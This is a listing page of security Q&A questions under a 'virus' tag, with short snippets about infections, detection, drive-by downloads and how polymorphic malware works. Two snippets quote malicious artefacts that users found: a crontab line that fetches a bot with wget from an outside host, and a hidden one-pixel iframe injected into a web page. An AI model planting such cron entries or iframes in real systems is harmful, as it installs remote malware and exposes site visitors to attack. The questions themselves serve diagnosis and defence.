A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.

learn more… | top users | synonyms

6
votes
3answers
6k views

Is it possible for a phishing link to install a major virus on a Mac?

My girlfriend recently had her university MS Exchange account hacked. The attacker took over her email account and started using it to send thousands of spam emails. After a while, her email account ...
14
votes
6answers
4k views

Finding a specific malware sample for malware analysis purposes

I wish to analyze the changes made by a specific virus. For example, Win32.Sality. Where can I get the sample of this, or other similar, malware for testing?
3
votes
5answers
1k views

How can I know if my PC is getting infected?

I have installed an antivirus, but as no antivirus is perfect, what can I do to diagnose if my PC is getting infected? For example, keeping a close eye on what programs and tasks run when I turn my ...
0
votes
2answers
234 views

How could an AV detect a virus that has a chance of not decrypting itself?

If I understand this correctly there is a chance the virus may not decrypt itself at all. How could an AV catch this? In some cases, the decryptor may start with a header whose intent is not ...
0
votes
1answer
324 views

Virus developers groups [closed]

Are there any groups of virus developers around anymore? Like 29A group and bunch of other groups few years ago. They never released their codes, never used then to steal data etc.
42
votes
6answers
5k views

Virus Encoded in Video

So I'm not familiar at all with IT Security, but I'm a bit curious about something. I was watching a TV show and at one point, a virus spreads through an office. They investigate and find out that the ...
-1
votes
1answer
132 views

Would this be plausible for a metamorphic virus? Not repeatedly infecting same system

Would this be plausible for a metamorphic virus? When a new generation (for lack of better word) is created it would hard code a random file name, that would be checked to see if the system was ...
15
votes
2answers
680 views

Is there a real possibility of getting malware by “drive-by”?

I know malware can be gotten by downloading and running stuff, but is there a real possibility of just viewing a webpage or clicking a link and getting one? Assuming using only Firefox / Chrome and ...
1
vote
1answer
337 views

What are the security issues relating to macro enabled MS office documents?

Are there any security issues relating to macro enabled MS office documents?
2
votes
4answers
782 views

Detecting malware hidden in P2P traffic

Consider a network situation involving (only) Peer to Peer traffic in medium sized network. For the sake of convenience, a simple P2P application like DC++ may be assumed, although I am aiming at a ...
2
votes
3answers
273 views

Find changes and modifications made to system by application or virus,

I would like to use either Hyper-V or Vmware to take a Clean Base snapshot and a snapshot after an application or virus has made changes so I can then see what was changed between the two images. ...
5
votes
4answers
3k views

How does a trojan like Trojan:JS/BlacoleRef.BV infect a website?

Today I find out my website is infected with Trojan:JS/BlacoleRef.BV. The server is a shared server from a hosting company. How does a trojan like this get on the webserver?
2
votes
1answer
294 views

How does malware such as Stuxnet and Flamer propagate through USB memory sticks?

The best explanation I found is from this article but it still is unclear to me. Apparently a new vulnerability has been found involving .lnk files where when a folder on the memory stick containing ...
6
votes
4answers
492 views

Would running VMs inside of VMs be a more secure way to study viruses, etc?

I was reading this post on SuperUser, and it made me wonder about security. I've read somewhere else that some viruses/malware/whatever CAN break outside of a VM... and then infect the host OS. BUT, ...
12
votes
4answers
6k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
2
votes
2answers
506 views

Can a polymorphic/metamorphic worm use a mutex?

Can a polymorphic/metamorphic worm use (the same) mutex? This would solve the problem of grinding the network into the ground and consuming all resources with multiple instances of the worm. Is the ...
3
votes
3answers
579 views

How do polymorphic/metamorphic/self-encrypting/self-changing file infectors know if they have infected a file or not?

If a virus rewrites itself for each infection how would it know if it has infected a file or not? If it keeps infecting the same file soon the whole file structure will be corrupt. For example how ...
2
votes
2answers
210 views

How do viruses know if they have already infected a system or done something?

I know some viruses repeat the same actions over and over again with no break, thus grinding the network to a halt. But others "take a break" from there repetitive actions. For example Nimda ...
3
votes
2answers
431 views

Possible trojan/virus in memory?

I've extracted objects (JPEGs) from processes` memory dumps (obtained with memdump command from volatility framework) and got strange results after searching the memory pages of the main thread of ...
3
votes
2answers
511 views

Why does Antivirus Softwares have an Issue with EXE Packers

Im trying to pack an Executable using an Exe Packer like UPX.I packed and checked the File with VirusTotal.com.Here some 9 Antivirus Products say its a Virus actually its a harmless exe.I think the AV ...
4
votes
2answers
3k views

How to detect a virus in a network card?

How can I know that a network card in a server was infected by a virus or not? Are there any methods to check it?
2
votes
3answers
1k views

Do I have a virus on my hosted site?

A few weeks ago I hired an outsourcer from India to build for me a very simple PHP site. I bought PHP hosting and a domain name, and I gave him all the credentials together with the specification of ...
6
votes
4answers
570 views

Is there any chance PHP developers themselves implement backdoors in PHP core?

This is not a concern that I personally have,no! In my job environment I've heard from programmers and non programmers that PHP developers always put secret backdoors in PHP that no one has access to ...
4
votes
5answers
933 views

Clicked on fake “Download Now!” ad on file transfer site (legal file for legit purposes) by accident; does anyone know what measures I should take?

I was sent a file by a coworker via "sendshare" - my first time using the service. The page loaded a bit slowly and the ads came in before the actual download link. I was in a hurry to get the file - ...
0
votes
2answers
2k views

Will virus downloaded to guest OS affect Host OS? [duplicate]

Possible Duplicate: How secure are virtual machines really? False sense of security? If I download a file in Guest Windows XP machine in Vmware Workstation, which is a virus. Can it affect ...
5
votes
1answer
403 views

How antivirus companies create virus defnitions for new outbreaks

This question quite amazes me. I dont understand how antivirus companies get info about the latest viruses. have they installed some kind of filters to monitor the internet traffic ? Or they are ...
7
votes
2answers
7k views

Is Buzzdocks a security threat?

A BuzzDock toolbar suddenly appeared in my Chrome browser. I definitely did not install it nor do I remember installing any crapware. It is not unknown to the internet community (Example 1, Example ...
1
vote
2answers
523 views

AVG Website Scan, Chance of 'Potential Threat'?

In a recent question I asked about investigating websites for viruses. The answers were very helpful, I ended up using the AVG website scanner. First I used it on our website and found it was clean, ...
2
votes
2answers
3k views

How to check if a website is sending out a virus?

I'm a webmaster at a company without much knowledge of IT Security. We are running 6 computers connected to a central server that also hosts our website. 3 out of 6 people in the office have gotten ...
-2
votes
2answers
253 views

Will winlock virus really delete information after 12 hours? [closed]

I've got virus which tells that all data will be deleted after 12 hours. I cleaned autorun and now scaning my computer with anti-virus, but still is this message just to scary people or is this virus ...
2
votes
3answers
1k views

How can winlock virus change Windows Registry without admin permission?

When you try to install program you'll always asked about administrator permission. Same thing when you try to user 'regedit' command. So I'm interested in how does this virus works. How can it edit ...
3
votes
3answers
2k views

Cleaning a virus by mounting the infected hard disk on another machine?

I have a laptop that has been infected with a virus. I am thinking of taking the disk out of the laptop, putting it into an external disk enclosure, and connecting it to a second laptop so I can run ...
1
vote
0answers
161 views

Hidden Registry Strings - possible rootkit? [closed]

Win server 2003 R2 SP2 - no noticeable issues on the machine. When I create new strings in regedit, I hit refresh and they are gone! I try to re-add and it complains the string already exists. I am ...
2
votes
2answers
367 views

How can I protect content distributed on a linux virtual machine?

What assets am I trying to protect? An unofficial pre-alpha software prototype provided as a reproducible example for evaluation during the scientific peer-review process. The software will be ...
2
votes
3answers
858 views

How to do a virus scan before post attachments in asp.net application

How to do a virus scan before post attachments in asp.net application,when they find a virus on to give up post attachments,otherwise proceed to upload. I wonder if there are any APIs out there where ...
2
votes
2answers
8k views

What are these ip adresses my computer is connected and how do I block them if they are malicious? [closed]

When I execute a netstat command i see several ip-adresses that have connection to my pc and I don't what they are for. These are the ip's. TCP 192.168.1.20:1042 fa-in-f125:5222 ...
2
votes
1answer
247 views

FireFox Download Source

While downloading the latest version of Firefox for Mac, i took a peek at the source. The names don't look legit but i am not that familiar with how CDNs work. I hit download multiple times and ...
1
vote
1answer
848 views

Has my Mac been compromised? [closed]

I am running NOD32 on a Mac running Leopard 10.5.8. When I visited a website, NOD32 automatically detected it as a virus. For some reason I was taken to bing.com and I got a "page not found" error. ...
7
votes
4answers
1k views

Is it safe to serve any user uploaded file under only white-listed MIME content types?

Let's say I develop an application that, Allows any user to upload a file of only white listed mime content type and extensions (word and pdf). Serves those files with the allowed extension and ...
2
votes
3answers
2k views

Writing a sample virus (not harmful)

I don't know if such a question is allowed on this site, sorry if it's not For educational purposes I am asked to write a small virus running on Linux, which should just be able to inject itself into ...
5
votes
2answers
473 views

How might an email do damage merely by being opened?

E.g. http://www.dailymail.co.uk/sciencetech/article-2094982/Threat-new-virus-infected-emails-PC-DONT-open-attachments.html?ito=feeds-newsxml Assuming that the user clicks no links and opens no ...
2
votes
1answer
148 views

Is there a tool that puts on a webserver some .html or .php files filled with popular malware like java drive-bys or other browser exploit payloads?

As mentioned in the title I'm looking for a tool that puts on a webserver some .html or .php files filled with popular malware like java drive-bys or other browser exploit payloads? Maybe there is ...
0
votes
1answer
859 views

Can a website infect a computer without the user's assistance? [duplicate]

Possible Duplicate: Can you get virus just by visiting a website in chrome I have a hard time believing that drive-by downloads can actually happen without a user's assistance (e.g. without ...
4
votes
4answers
1k views

Cleaning pendrive without infecting

I'm using Ubuntu without ever (knowingly) having had any virus issues. Recently I put a usb pen in a computer in a print shop, and their Windows machine told me that it was infected. I would like to ...
2
votes
3answers
747 views

Is it possible for a virus or unknown program to automatically start up a webcam

How can I secure my computer more, knowing these days that there are many websites, especially ones where you don't have to even click before a virus is downloaded straight to your hard-drive. I ...
3
votes
2answers
247 views

ltd.exe, “Vista Antivirus Security 2012”, any info?

I was taking a look at someone's computer who had a virus. It called itself "Visa Antivirus Security 2012". It turned out to be ltd.exe. It would seemingly randomly block programs, it turns out it had ...
1
vote
2answers
604 views

Online virus scanning service with remote file submission?

I have some links that contain hacking tool and whatnot and I want to pass them to a virus scanning service. The thing is that I don't want to download them to my pc and upload them to their service, ...
2
votes
4answers
62k views

Is Teredo in my router a back door?

I use the school computer, which I bought from school, administered by the IT-department. I opened a port to my computer when I stumbled upon this: It points to my computer IP. (I have a static IP ...
0
votes
1answer
375 views

Iframe hack / done through FTP?

On two websites which I host for a friend, I found that there is an iframe at the bottom of each site's index.htm file. <iframe src="http://www.kunstsalen.dk" width=1 height=1 style="visibility: ...
3
votes
1answer
3k views

What is Win32/Kryptik.FM?

ESET detected this trojan, but I cannot find any information on the Internet on what it is. Google is only returning links on how to remove it, or what files have been detected to contain it. ...